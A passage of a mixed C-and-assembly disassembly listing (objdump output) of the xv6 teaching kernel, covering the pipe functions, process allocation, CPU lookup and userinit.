80102da2: 83 c2 08 add $0x8,%edx
continue;
80102da5: eb af jmp 80102d56 <mpinit+0x52>
default:
ismp = 0;
break;
}
}
if(!ismp)
80102da7: 85 db test %ebx,%ebx
80102da9: 74 26 je 80102dd1 <mpinit+0xcd>
panic("Didn't find a suitable machine");
if(mp->imcrp){
80102dab: 8b 45 e4 mov -0x1c(%ebp),%eax
80102dae: 80 78 0c 00 cmpb $0x0,0xc(%eax)
80102db2: 74 15 je 80102dc9 <mpinit+0xc5>
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102db4: b8 70 00 00 00 mov $0x70,%eax
80102db9: ba 22 00 00 00 mov $0x22,%edx
80102dbe: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102dbf: ba 23 00 00 00 mov $0x23,%edx
80102dc4: ec in (%dx),%al
// Bochs doesn't support IMCR, so this doesn't run on Bochs.
// But it would on real hardware.
outb(0x22, 0x70); // Select IMCR
outb(0x23, inb(0x23) | 1); // Mask external interrupts.
80102dc5: 83 c8 01 or $0x1,%eax
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102dc8: ee out %al,(%dx)
}
}
80102dc9: 8d 65 f4 lea -0xc(%ebp),%esp
80102dcc: 5b pop %ebx
80102dcd: 5e pop %esi
80102dce: 5f pop %edi
80102dcf: 5d pop %ebp
80102dd0: c3 ret
panic("Didn't find a suitable machine");
80102dd1: 83 ec 0c sub $0xc,%esp
80102dd4: 68 1c 6e 10 80 push $0x80106e1c
80102dd9: e8 7e d5 ff ff call 8010035c <panic>
80102dde <picinit>:
#define IO_PIC2 0xA0 // Slave (IRQs 8-15)
// Don't use the 8259A interrupt controllers. Xv6 assumes SMP hardware.
void
picinit(void)
{
80102dde: f3 0f 1e fb endbr32
80102de2: b8 ff ff ff ff mov $0xffffffff,%eax
80102de7: ba 21 00 00 00 mov $0x21,%edx
80102dec: ee out %al,(%dx)
80102ded: ba a1 00 00 00 mov $0xa1,%edx
80102df2: ee out %al,(%dx)
// mask all interrupts
outb(IO_PIC1+1, 0xFF);
outb(IO_PIC2+1, 0xFF);
}
80102df3: c3 ret
80102df4 <pipealloc>:
int writeopen; // write fd is still open
};
int
pipealloc(struct file **f0, struct file **f1)
{
80102df4: f3 0f 1e fb endbr32
80102df8: 55 push %ebp
80102df9: 89 e5 mov %esp,%ebp
80102dfb: 57 push %edi
80102dfc: 56 push %esi
80102dfd: 53 push %ebx
80102dfe: 83 ec 0c sub $0xc,%esp
80102e01: 8b 5d 08 mov 0x8(%ebp),%ebx
80102e04: 8b 75 0c mov 0xc(%ebp),%esi
struct pipe *p;
p = 0;
*f0 = *f1 = 0;
80102e07: c7 06 00 00 00 00 movl $0x0,(%esi)
80102e0d: c7 03 00 00 00 00 movl $0x0,(%ebx)
if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0)
80102e13: e8 3f de ff ff call 80100c57 <filealloc>
80102e18: 89 03 mov %eax,(%ebx)
80102e1a: 85 c0 test %eax,%eax
80102e1c: 0f 84 88 00 00 00 je 80102eaa <pipealloc+0xb6>
80102e22: e8 30 de ff ff call 80100c57 <filealloc>
80102e27: 89 06 mov %eax,(%esi)
80102e29: 85 c0 test %eax,%eax
80102e2b: 74 7d je 80102eaa <pipealloc+0xb6>
goto bad;
if((p = (struct pipe*)kalloc()) == 0)
80102e2d: e8 20 f3 ff ff call 80102152 <kalloc>
80102e32: 89 c7 mov %eax,%edi
80102e34: 85 c0 test %eax,%eax
80102e36: 74 72 je 80102eaa <pipealloc+0xb6>
goto bad;
p->readopen = 1;
80102e38: c7 80 3c 02 00 00 01 movl $0x1,0x23c(%eax)
80102e3f: 00 00 00
p->writeopen = 1;
80102e42: c7 80 40 02 00 00 01 movl $0x1,0x240(%eax)
80102e49: 00 00 00
p->nwrite = 0;
80102e4c: c7 80 38 02 00 00 00 movl $0x0,0x238(%eax)
80102e53: 00 00 00
p->nread = 0;
80102e56: c7 80 34 02 00 00 00 movl $0x0,0x234(%eax)
80102e5d: 00 00 00
initlock(&p->lock, "pipe");
80102e60: 83 ec 08 sub $0x8,%esp
80102e63: 68 3b 6e 10 80 push $0x80106e3b
80102e68: 50 push %eax
80102e69: e8 5b 0f 00 00 call 80103dc9 <initlock>
(*f0)->type = FD_PIPE;
80102e6e: 8b 03 mov (%ebx),%eax
80102e70: c7 00 01 00 00 00 movl $0x1,(%eax)
(*f0)->readable = 1;
80102e76: 8b 03 mov (%ebx),%eax
80102e78: c6 40 08 01 movb $0x1,0x8(%eax)
(*f0)->writable = 0;
80102e7c: 8b 03 mov (%ebx),%eax
80102e7e: c6 40 09 00 movb $0x0,0x9(%eax)
(*f0)->pipe = p;
80102e82: 8b 03 mov (%ebx),%eax
80102e84: 89 78 0c mov %edi,0xc(%eax)
(*f1)->type = FD_PIPE;
80102e87: 8b 06 mov (%esi),%eax
80102e89: c7 00 01 00 00 00 movl $0x1,(%eax)
(*f1)->readable = 0;
80102e8f: 8b 06 mov (%esi),%eax
80102e91: c6 40 08 00 movb $0x0,0x8(%eax)
(*f1)->writable = 1;
80102e95: 8b 06 mov (%esi),%eax
80102e97: c6 40 09 01 movb $0x1,0x9(%eax)
(*f1)->pipe = p;
80102e9b: 8b 06 mov (%esi),%eax
80102e9d: 89 78 0c mov %edi,0xc(%eax)
return 0;
80102ea0: 83 c4 10 add $0x10,%esp
80102ea3: b8 00 00 00 00 mov $0x0,%eax
80102ea8: eb 29 jmp 80102ed3 <pipealloc+0xdf>
//PAGEBREAK: 20
bad:
if(p)
kfree((char*)p);
if(*f0)
80102eaa: 8b 03 mov (%ebx),%eax
80102eac: 85 c0 test %eax,%eax
80102eae: 74 0c je 80102ebc <pipealloc+0xc8>
fileclose(*f0);
80102eb0: 83 ec 0c sub $0xc,%esp
80102eb3: 50 push %eax
80102eb4: e8 4c de ff ff call 80100d05 <fileclose>
80102eb9: 83 c4 10 add $0x10,%esp
if(*f1)
80102ebc: 8b 06 mov (%esi),%eax
80102ebe: 85 c0 test %eax,%eax
80102ec0: 74 19 je 80102edb <pipealloc+0xe7>
fileclose(*f1);
80102ec2: 83 ec 0c sub $0xc,%esp
80102ec5: 50 push %eax
80102ec6: e8 3a de ff ff call 80100d05 <fileclose>
80102ecb: 83 c4 10 add $0x10,%esp
return -1;
80102ece: b8 ff ff ff ff mov $0xffffffff,%eax
}
80102ed3: 8d 65 f4 lea -0xc(%ebp),%esp
80102ed6: 5b pop %ebx
80102ed7: 5e pop %esi
80102ed8: 5f pop %edi
80102ed9: 5d pop %ebp
80102eda: c3 ret
return -1;
80102edb: b8 ff ff ff ff mov $0xffffffff,%eax
80102ee0: eb f1 jmp 80102ed3 <pipealloc+0xdf>
80102ee2 <pipeclose>:
void
pipeclose(struct pipe *p, int writable)
{
80102ee2: f3 0f 1e fb endbr32
80102ee6: 55 push %ebp
80102ee7: 89 e5 mov %esp,%ebp
80102ee9: 53 push %ebx
80102eea: 83 ec 10 sub $0x10,%esp
80102eed: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&p->lock);
80102ef0: 53 push %ebx
80102ef1: e8 23 10 00 00 call 80103f19 <acquire>
if(writable){
80102ef6: 83 c4 10 add $0x10,%esp
80102ef9: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
80102efd: 74 3f je 80102f3e <pipeclose+0x5c>
p->writeopen = 0;
80102eff: c7 83 40 02 00 00 00 movl $0x0,0x240(%ebx)
80102f06: 00 00 00
wakeup(&p->nread);
80102f09: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax
80102f0f: 83 ec 0c sub $0xc,%esp
80102f12: 50 push %eax
80102f13: e8 3b 0c 00 00 call 80103b53 <wakeup>
80102f18: 83 c4 10 add $0x10,%esp
} else {
p->readopen = 0;
wakeup(&p->nwrite);
}
if(p->readopen == 0 && p->writeopen == 0){
80102f1b: 83 bb 3c 02 00 00 00 cmpl $0x0,0x23c(%ebx)
80102f22: 75 09 jne 80102f2d <pipeclose+0x4b>
80102f24: 83 bb 40 02 00 00 00 cmpl $0x0,0x240(%ebx)
80102f2b: 74 2f je 80102f5c <pipeclose+0x7a>
release(&p->lock);
kfree((char*)p);
} else
release(&p->lock);
80102f2d: 83 ec 0c sub $0xc,%esp
80102f30: 53 push %ebx
80102f31: e8 4c 10 00 00 call 80103f82 <release>
80102f36: 83 c4 10 add $0x10,%esp
}
80102f39: 8b 5d fc mov -0x4(%ebp),%ebx
80102f3c: c9 leave
80102f3d: c3 ret
p->readopen = 0;
80102f3e: c7 83 3c 02 00 00 00 movl $0x0,0x23c(%ebx)
80102f45: 00 00 00
wakeup(&p->nwrite);
80102f48: 8d 83 38 02 00 00 lea 0x238(%ebx),%eax
80102f4e: 83 ec 0c sub $0xc,%esp
80102f51: 50 push %eax
80102f52: e8 fc 0b 00 00 call 80103b53 <wakeup>
80102f57: 83 c4 10 add $0x10,%esp
80102f5a: eb bf jmp 80102f1b <pipeclose+0x39>
release(&p->lock);
80102f5c: 83 ec 0c sub $0xc,%esp
80102f5f: 53 push %ebx
80102f60: e8 1d 10 00 00 call 80103f82 <release>
kfree((char*)p);
80102f65: 89 1c 24 mov %ebx,(%esp)
80102f68: e8 be f0 ff ff call 8010202b <kfree>
80102f6d: 83 c4 10 add $0x10,%esp
80102f70: eb c7 jmp 80102f39 <pipeclose+0x57>
80102f72 <pipewrite>:
//PAGEBREAK: 40
int
pipewrite(struct pipe *p, char *addr, int n)
{
80102f72: f3 0f 1e fb endbr32
80102f76: 55 push %ebp
80102f77: 89 e5 mov %esp,%ebp
80102f79: 57 push %edi
80102f7a: 56 push %esi
80102f7b: 53 push %ebx
80102f7c: 83 ec 18 sub $0x18,%esp
80102f7f: 8b 5d 08 mov 0x8(%ebp),%ebx
int i;
acquire(&p->lock);
80102f82: 89 de mov %ebx,%esi
80102f84: 53 push %ebx
80102f85: e8 8f 0f 00 00 call 80103f19 <acquire>
for(i = 0; i < n; i++){
80102f8a: 83 c4 10 add $0x10,%esp
80102f8d: bf 00 00 00 00 mov $0x0,%edi
80102f92: 3b 7d 10 cmp 0x10(%ebp),%edi
80102f95: 7c 41 jl 80102fd8 <pipewrite+0x66>
wakeup(&p->nread);
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
}
p->data[p->nwrite++ % PIPESIZE] = addr[i];
}
wakeup(&p->nread); //DOC: pipewrite-wakeup1
80102f97: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax
80102f9d: 83 ec 0c sub $0xc,%esp
80102fa0: 50 push %eax
80102fa1: e8 ad 0b 00 00 call 80103b53 <wakeup>
release(&p->lock);
80102fa6: 89 1c 24 mov %ebx,(%esp)
80102fa9: e8 d4 0f 00 00 call 80103f82 <release>
return n;
80102fae: 83 c4 10 add $0x10,%esp
80102fb1: 8b 45 10 mov 0x10(%ebp),%eax
80102fb4: eb 5c jmp 80103012 <pipewrite+0xa0>
wakeup(&p->nread);
80102fb6: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax
80102fbc: 83 ec 0c sub $0xc,%esp
80102fbf: 50 push %eax
80102fc0: e8 8e 0b 00 00 call 80103b53 <wakeup>
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
80102fc5: 8d 83 38 02 00 00 lea 0x238(%ebx),%eax
80102fcb: 83 c4 08 add $0x8,%esp
80102fce: 56 push %esi
80102fcf: 50 push %eax
80102fd0: e8 2c 09 00 00 call 80103901 <sleep>
80102fd5: 83 c4 10 add $0x10,%esp
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
80102fd8: 8b 93 38 02 00 00 mov 0x238(%ebx),%edx
80102fde: 8b 83 34 02 00 00 mov 0x234(%ebx),%eax
80102fe4: 05 00 02 00 00 add $0x200,%eax
80102fe9: 39 c2 cmp %eax,%edx
80102feb: 75 2d jne 8010301a <pipewrite+0xa8>
if(p->readopen == 0 || myproc()->killed){
80102fed: 83 bb 3c 02 00 00 00 cmpl $0x0,0x23c(%ebx)
80102ff4: 74 0b je 80103001 <pipewrite+0x8f>
80102ff6: e8 ca 02 00 00 call 801032c5 <myproc>
80102ffb: 83 78 24 00 cmpl $0x0,0x24(%eax)
80102fff: 74 b5 je 80102fb6 <pipewrite+0x44>
release(&p->lock);
80103001: 83 ec 0c sub $0xc,%esp
80103004: 53 push %ebx
80103005: e8 78 0f 00 00 call 80103f82 <release>
return -1;
8010300a: 83 c4 10 add $0x10,%esp
8010300d: b8 ff ff ff ff mov $0xffffffff,%eax
}
80103012: 8d 65 f4 lea -0xc(%ebp),%esp
80103015: 5b pop %ebx
80103016: 5e pop %esi
80103017: 5f pop %edi
80103018: 5d pop %ebp
80103019: c3 ret
p->data[p->nwrite++ % PIPESIZE] = addr[i];
8010301a: 8d 42 01 lea 0x1(%edx),%eax
8010301d: 89 83 38 02 00 00 mov %eax,0x238(%ebx)
80103023: 81 e2 ff 01 00 00 and $0x1ff,%edx
80103029: 8b 45 0c mov 0xc(%ebp),%eax
8010302c: 0f b6 04 38 movzbl (%eax,%edi,1),%eax
80103030: 88 44 13 34 mov %al,0x34(%ebx,%edx,1)
for(i = 0; i < n; i++){
80103034: 83 c7 01 add $0x1,%edi
80103037: e9 56 ff ff ff jmp 80102f92 <pipewrite+0x20>
8010303c <piperead>:
int
piperead(struct pipe *p, char *addr, int n)
{
8010303c: f3 0f 1e fb endbr32
80103040: 55 push %ebp
80103041: 89 e5 mov %esp,%ebp
80103043: 57 push %edi
80103044: 56 push %esi
80103045: 53 push %ebx
80103046: 83 ec 18 sub $0x18,%esp
80103049: 8b 5d 08 mov 0x8(%ebp),%ebx
int i;
acquire(&p->lock);
8010304c: 89 df mov %ebx,%edi
8010304e: 53 push %ebx
8010304f: e8 c5 0e 00 00 call 80103f19 <acquire>
while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty
80103054: 83 c4 10 add $0x10,%esp
80103057: eb 13 jmp 8010306c <piperead+0x30>
if(myproc()->killed){
release(&p->lock);
return -1;
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
80103059: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax
8010305f: 83 ec 08 sub $0x8,%esp
80103062: 57 push %edi
80103063: 50 push %eax
80103064: e8 98 08 00 00 call 80103901 <sleep>
80103069: 83 c4 10 add $0x10,%esp
while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty
8010306c: 8b 83 38 02 00 00 mov 0x238(%ebx),%eax
80103072: 39 83 34 02 00 00 cmp %eax,0x234(%ebx)
80103078: 75 28 jne 801030a2 <piperead+0x66>
8010307a: 8b b3 40 02 00 00 mov 0x240(%ebx),%esi
80103080: 85 f6 test %esi,%esi
80103082: 74 23 je 801030a7 <piperead+0x6b>
if(myproc()->killed){
80103084: e8 3c 02 00 00 call 801032c5 <myproc>
80103089: 83 78 24 00 cmpl $0x0,0x24(%eax)
8010308d: 74 ca je 80103059 <piperead+0x1d>
release(&p->lock);
8010308f: 83 ec 0c sub $0xc,%esp
80103092: 53 push %ebx
80103093: e8 ea 0e 00 00 call 80103f82 <release>
return -1;
80103098: 83 c4 10 add $0x10,%esp
8010309b: be ff ff ff ff mov $0xffffffff,%esi
801030a0: eb 50 jmp 801030f2 <piperead+0xb6>
801030a2: be 00 00 00 00 mov $0x0,%esi
}
for(i = 0; i < n; i++){ //DOC: piperead-copy
801030a7: 3b 75 10 cmp 0x10(%ebp),%esi
801030aa: 7d 2c jge 801030d8 <piperead+0x9c>
if(p->nread == p->nwrite)
801030ac: 8b 83 34 02 00 00 mov 0x234(%ebx),%eax
801030b2: 3b 83 38 02 00 00 cmp 0x238(%ebx),%eax
801030b8: 74 1e je 801030d8 <piperead+0x9c>
break;
addr[i] = p->data[p->nread++ % PIPESIZE];
801030ba: 8d 50 01 lea 0x1(%eax),%edx
801030bd: 89 93 34 02 00 00 mov %edx,0x234(%ebx)
801030c3: 25 ff 01 00 00 and $0x1ff,%eax
801030c8: 0f b6 44 03 34 movzbl 0x34(%ebx,%eax,1),%eax
801030cd: 8b 4d 0c mov 0xc(%ebp),%ecx
801030d0: 88 04 31 mov %al,(%ecx,%esi,1)
for(i = 0; i < n; i++){ //DOC: piperead-copy
801030d3: 83 c6 01 add $0x1,%esi
801030d6: eb cf jmp 801030a7 <piperead+0x6b>
}
wakeup(&p->nwrite); //DOC: piperead-wakeup
801030d8: 8d 83 38 02 00 00 lea 0x238(%ebx),%eax
801030de: 83 ec 0c sub $0xc,%esp
801030e1: 50 push %eax
801030e2: e8 6c 0a 00 00 call 80103b53 <wakeup>
release(&p->lock);
801030e7: 89 1c 24 mov %ebx,(%esp)
801030ea: e8 93 0e 00 00 call 80103f82 <release>
return i;
801030ef: 83 c4 10 add $0x10,%esp
}
801030f2: 89 f0 mov %esi,%eax
801030f4: 8d 65 f4 lea -0xc(%ebp),%esp
801030f7: 5b pop %ebx
801030f8: 5e pop %esi
801030f9: 5f pop %edi
801030fa: 5d pop %ebp
801030fb: c3 ret
801030fc <wakeup1>:
static void
wakeup1(void *chan)
{
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
801030fc: ba 54 2d 11 80 mov $0x80112d54,%edx
80103101: eb 0a jmp 8010310d <wakeup1+0x11>
if(p->state == SLEEPING && p->chan == chan)
p->state = RUNNABLE;
80103103: c7 42 0c 03 00 00 00 movl $0x3,0xc(%edx)
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
8010310a: 83 ea 80 sub $0xffffff80,%edx
8010310d: 81 fa 54 4d 11 80 cmp $0x80114d54,%edx
80103113: 73 0d jae 80103122 <wakeup1+0x26>
if(p->state == SLEEPING && p->chan == chan)
80103115: 83 7a 0c 02 cmpl $0x2,0xc(%edx)
80103119: 75 ef jne 8010310a <wakeup1+0xe>
8010311b: 39 42 20 cmp %eax,0x20(%edx)
8010311e: 75 ea jne 8010310a <wakeup1+0xe>
80103120: eb e1 jmp 80103103 <wakeup1+0x7>
}
80103122: c3 ret
80103123 <allocproc>:
{
80103123: 55 push %ebp
80103124: 89 e5 mov %esp,%ebp
80103126: 53 push %ebx
80103127: 83 ec 10 sub $0x10,%esp
acquire(&ptable.lock);
8010312a: 68 20 2d 11 80 push $0x80112d20
8010312f: e8 e5 0d 00 00 call 80103f19 <acquire>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103134: 83 c4 10 add $0x10,%esp
80103137: bb 54 2d 11 80 mov $0x80112d54,%ebx
8010313c: 81 fb 54 4d 11 80 cmp $0x80114d54,%ebx
80103142: 73 7b jae 801031bf <allocproc+0x9c>
if(p->state == UNUSED)
80103144: 83 7b 0c 00 cmpl $0x0,0xc(%ebx)
80103148: 74 05 je 8010314f <allocproc+0x2c>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
8010314a: 83 eb 80 sub $0xffffff80,%ebx
8010314d: eb ed jmp 8010313c <allocproc+0x19>
p->state = EMBRYO;
8010314f: c7 43 0c 01 00 00 00 movl $0x1,0xc(%ebx)
p->pid = nextpid++;
80103156: a1 04 a0 10 80 mov 0x8010a004,%eax
8010315b: 8d 50 01 lea 0x1(%eax),%edx
8010315e: 89 15 04 a0 10 80 mov %edx,0x8010a004
80103164: 89 43 10 mov %eax,0x10(%ebx)
release(&ptable.lock);
80103167: 83 ec 0c sub $0xc,%esp
8010316a: 68 20 2d 11 80 push $0x80112d20
8010316f: e8 0e 0e 00 00 call 80103f82 <release>
if((p->kstack = kalloc()) == 0){
80103174: e8 d9 ef ff ff call 80102152 <kalloc>
80103179: 89 43 08 mov %eax,0x8(%ebx)
8010317c: 83 c4 10 add $0x10,%esp
8010317f: 85 c0 test %eax,%eax
80103181: 74 53 je 801031d6 <allocproc+0xb3>
sp -= sizeof *p->tf;
80103183: 8d 90 b4 0f 00 00 lea 0xfb4(%eax),%edx
p->tf = (struct trapframe*)sp;
80103189: 89 53 18 mov %edx,0x18(%ebx)
*(uint*)sp = (uint)trapret;
8010318c: c7 80 b0 0f 00 00 7f movl $0x8010517f,0xfb0(%eax)
80103193: 51 10 80
sp -= sizeof *p->context;
80103196: 05 9c 0f 00 00 add $0xf9c,%eax
p->context = (struct context*)sp;
8010319b: 89 43 1c mov %eax,0x1c(%ebx)
memset(p->context, 0, sizeof *p->context);
8010319e: 83 ec 04 sub $0x4,%esp
801031a1: 6a 14 push $0x14
801031a3: 6a 00 push $0x0
801031a5: 50 push %eax
801031a6: e8 22 0e 00 00 call 80103fcd <memset>
p->context->eip = (uint)forkret;
801031ab: 8b 43 1c mov 0x1c(%ebx),%eax
801031ae: c7 40 10 e1 31 10 80 movl $0x801031e1,0x10(%eax)
return p;
801031b5: 83 c4 10 add $0x10,%esp
}
801031b8: 89 d8 mov %ebx,%eax
801031ba: 8b 5d fc mov -0x4(%ebp),%ebx
801031bd: c9 leave
801031be: c3 ret
release(&ptable.lock);
801031bf: 83 ec 0c sub $0xc,%esp
801031c2: 68 20 2d 11 80 push $0x80112d20
801031c7: e8 b6 0d 00 00 call 80103f82 <release>
return 0;
801031cc: 83 c4 10 add $0x10,%esp
801031cf: bb 00 00 00 00 mov $0x0,%ebx
801031d4: eb e2 jmp 801031b8 <allocproc+0x95>
p->state = UNUSED;
801031d6: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
return 0;
801031dd: 89 c3 mov %eax,%ebx
801031df: eb d7 jmp 801031b8 <allocproc+0x95>
801031e1 <forkret>:
{
801031e1: f3 0f 1e fb endbr32
801031e5: 55 push %ebp
801031e6: 89 e5 mov %esp,%ebp
801031e8: 83 ec 14 sub $0x14,%esp
release(&ptable.lock);
801031eb: 68 20 2d 11 80 push $0x80112d20
801031f0: e8 8d 0d 00 00 call 80103f82 <release>
if (first) {
801031f5: 83 c4 10 add $0x10,%esp
801031f8: 83 3d 00 a0 10 80 00 cmpl $0x0,0x8010a000
801031ff: 75 02 jne 80103203 <forkret+0x22>
}
80103201: c9 leave
80103202: c3 ret
first = 0;
80103203: c7 05 00 a0 10 80 00 movl $0x0,0x8010a000
8010320a: 00 00 00
iinit(ROOTDEV);
8010320d: 83 ec 0c sub $0xc,%esp
80103210: 6a 01 push $0x1
80103212: e8 0e e1 ff ff call 80101325 <iinit>
initlog(ROOTDEV);
80103217: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8010321e: e8 df f5 ff ff call 80102802 <initlog>
80103223: 83 c4 10 add $0x10,%esp
}
80103226: eb d9 jmp 80103201 <forkret+0x20>
80103228 <pinit>:
{
80103228: f3 0f 1e fb endbr32
8010322c: 55 push %ebp
8010322d: 89 e5 mov %esp,%ebp
8010322f: 83 ec 10 sub $0x10,%esp
initlock(&ptable.lock, "ptable");
80103232: 68 40 6e 10 80 push $0x80106e40
80103237: 68 20 2d 11 80 push $0x80112d20
8010323c: e8 88 0b 00 00 call 80103dc9 <initlock>
}
80103241: 83 c4 10 add $0x10,%esp
80103244: c9 leave
80103245: c3 ret
80103246 <mycpu>:
{
80103246: f3 0f 1e fb endbr32
8010324a: 55 push %ebp
8010324b: 89 e5 mov %esp,%ebp
8010324d: 83 ec 08 sub $0x8,%esp
asm volatile("pushfl; popl %0" : "=r" (eflags));
80103250: 9c pushf
80103251: 58 pop %eax
if(readeflags()&FL_IF)
80103252: f6 c4 02 test $0x2,%ah
80103255: 75 28 jne 8010327f <mycpu+0x39>
apicid = lapicid();
80103257: e8 bd f1 ff ff call 80102419 <lapicid>
for (i = 0; i < ncpu; ++i) {
8010325c: ba 00 00 00 00 mov $0x0,%edx
80103261: 39 15 00 2d 11 80 cmp %edx,0x80112d00
80103267: 7e 30 jle 80103299 <mycpu+0x53>
if (cpus[i].apicid == apicid)
80103269: 69 ca b0 00 00 00 imul $0xb0,%edx,%ecx
8010326f: 0f b6 89 80 27 11 80 movzbl -0x7feed880(%ecx),%ecx
80103276: 39 c1 cmp %eax,%ecx
80103278: 74 12 je 8010328c <mycpu+0x46>
for (i = 0; i < ncpu; ++i) {
8010327a: 83 c2 01 add $0x1,%edx
8010327d: eb e2 jmp 80103261 <mycpu+0x1b>
panic("mycpu called with interrupts enabled\n");
8010327f: 83 ec 0c sub $0xc,%esp
80103282: 68 24 6f 10 80 push $0x80106f24
80103287: e8 d0 d0 ff ff call 8010035c <panic>
return &cpus[i];
8010328c: 69 c2 b0 00 00 00 imul $0xb0,%edx,%eax
80103292: 05 80 27 11 80 add $0x80112780,%eax
}
80103297: c9 leave
80103298: c3 ret
panic("unknown apicid\n");
80103299: 83 ec 0c sub $0xc,%esp
8010329c: 68 47 6e 10 80 push $0x80106e47
801032a1: e8 b6 d0 ff ff call 8010035c <panic>
801032a6 <cpuid>:
cpuid() {
801032a6: f3 0f 1e fb endbr32
801032aa: 55 push %ebp
801032ab: 89 e5 mov %esp,%ebp
801032ad: 83 ec 08 sub $0x8,%esp
return mycpu()-cpus;
801032b0: e8 91 ff ff ff call 80103246 <mycpu>
801032b5: 2d 80 27 11 80 sub $0x80112780,%eax
801032ba: c1 f8 04 sar $0x4,%eax
801032bd: 69 c0 a3 8b 2e ba imul $0xba2e8ba3,%eax,%eax
}
801032c3: c9 leave
801032c4: c3 ret
801032c5 <myproc>:
myproc(void) {
801032c5: f3 0f 1e fb endbr32
801032c9: 55 push %ebp
801032ca: 89 e5 mov %esp,%ebp
801032cc: 53 push %ebx
801032cd: 83 ec 04 sub $0x4,%esp
pushcli();
801032d0: e8 5b 0b 00 00 call 80103e30 <pushcli>
c = mycpu();
801032d5: e8 6c ff ff ff call 80103246 <mycpu>
p = c->proc;
801032da: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx
popcli();
801032e0: e8 8c 0b 00 00 call 80103e71 <popcli>
}
801032e5: 89 d8 mov %ebx,%eax
801032e7: 83 c4 04 add $0x4,%esp
801032ea: 5b pop %ebx
801032eb: 5d pop %ebp
801032ec: c3 ret
801032ed <userinit>:
{
801032ed: f3 0f 1e fb endbr32
801032f1: 55 push %ebp
801032f2: 89 e5 mov %esp,%ebp
801032f4: 53 push %ebx
801032f5: 83 ec 04 sub $0x4,%esp
p = allocproc();
801032f8: e8 26 fe ff ff call 80103123 <allocproc>
801032fd: 89 c3 mov %eax,%ebx
initproc = p;
801032ff: a3 b8 a5 10 80 mov %eax,0x8010a5b8
if((p->pgdir = setupkvm()) == 0)
80103304: e8 87 33 00 00 call 80106690 <setupkvm>
80103309: 89 43 04 mov %eax,0x4(%ebx)
8010330c: 85 c0 test %eax,%eax
8010330e: 0f 84 b8 00 00 00 je 801033cc <userinit+0xdf>
inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size);
80103314: 83 ec 04 sub $0x4,%esp
80103317: 68 2c 00 00 00 push $0x2c
8010331c: 68 60 a4 10 80 push $0x8010a460
80103321: 50 push %eax
80103322: e8 66 30 00 00 call 8010638d <inituvm>
p->sz = PGSIZE;
80103327: c7 03 00 10 00 00 movl $0x1000,(%ebx)
memset(p->tf, 0, sizeof(*p->tf));
8010332d: 8b 43 18 mov 0x18(%ebx),%eax
80103330: 83 c4 0c add $0xc,%esp
80103333: 6a 4c push $0x4c
80103335: 6a 00 push $0x0
80103337: 50 push %eax
80103338: e8 90 0c 00 00 call 80103fcd <memset>
p->tf->cs = (SEG_UCODE << 3) | DPL_USER;
8010333d: 8b 43 18 mov 0x18(%ebx),%eax
80103340: 66 c7 40 3c 1b 00 movw $0x1b,0x3c(%eax)
p->tf->ds = (SEG_UDATA << 3) | DPL_USER;
80103346: 8b 43 18 mov 0x18(%ebx),%eax
80103349: 66 c7 40 2c 23 00 movw $0x23,0x2c(%eax)
p->tf->es = p->tf->ds;
8010334f: 8b 43 18 mov 0x18(%ebx),%eax
80103352: 0f b7 50 2c movzwl 0x2c(%eax),%edx
80103356: 66 89 50 28 mov %dx,0x28(%eax)
p->tf->ss = p->tf->ds;
8010335a: 8b 43 18 mov 0x18(%ebx),%eax
8010335d: 0f b7 50 2c movzwl 0x2c(%eax),%edx
80103361: 66 89 50 48 mov %dx,0x48(%eax)
p->tf->eflags = FL_IF;
80103365: 8b 43 18 mov 0x18(%ebx),%eax
80103368: c7 40 40 00 02 00 00 movl $0x200,0x40(%eax)
p->tf->esp = PGSIZE;
8010336f: 8b 43 18 mov 0x18(%ebx),%eax
80103372: c7 40 44 00 10 00 00 movl $0x1000,0x44(%eax)
p->tf->eip = 0; // beginning of initcode.S
80103379: 8b 43 18 mov 0x18(%ebx),%eax
8010337c: c7 40 38 00 00 00 00 movl $0x0,0x38(%eax)
safestrcpy(p->name, "initcode", sizeof(p->name));
80103383: 8d 43 6c lea 0x6c(%ebx),%eax
80103386: 83 c4 0c add $0xc,%esp
80103389: 6a 10 push $0x10
8010338b: 68 70 6e 10 80 push $0x80106e70
80103390: 50 push %eax
80103391: e8 b7 0d 00 00 call 8010414d <safestrcpy>
p->cwd = namei("/");
80103396: c7 04 24 79 6e 10 80 movl $0x80106e79,(%esp)
8010339d: e8 ad e8 ff ff call 80101c4f <namei>
801033a2: 89 43 68 mov %eax,0x68(%ebx)
acquire(&ptable.lock);
801033a5: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
801033ac: e8 68 0b 00 00 call 80103f19 <acquire>
p->state = RUNNABLE;
801033b1: c7 43 0c 03 00 00 00 movl $0x3,0xc(%ebx)
release(&ptable.lock);
801033b8: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
801033bf: e8 be 0b 00 00 call 80103f82 <release>
}
801033c4: 83 c4 10 add $0x10,%esp
801033c7: 8b 5d fc mov -0x4(%ebp),%ebx
801033ca: c9 leave
801033cb: c3 ret
panic("userinit: out of memory?");
801033cc: 83 ec 0c sub $0xc,%esp
801033cf: 68 57 6e 10 80 push $0x80106e57
801033d4: e8 83 cf ff ff call 8010035c <panic>
801033d9 <growproc>:
{
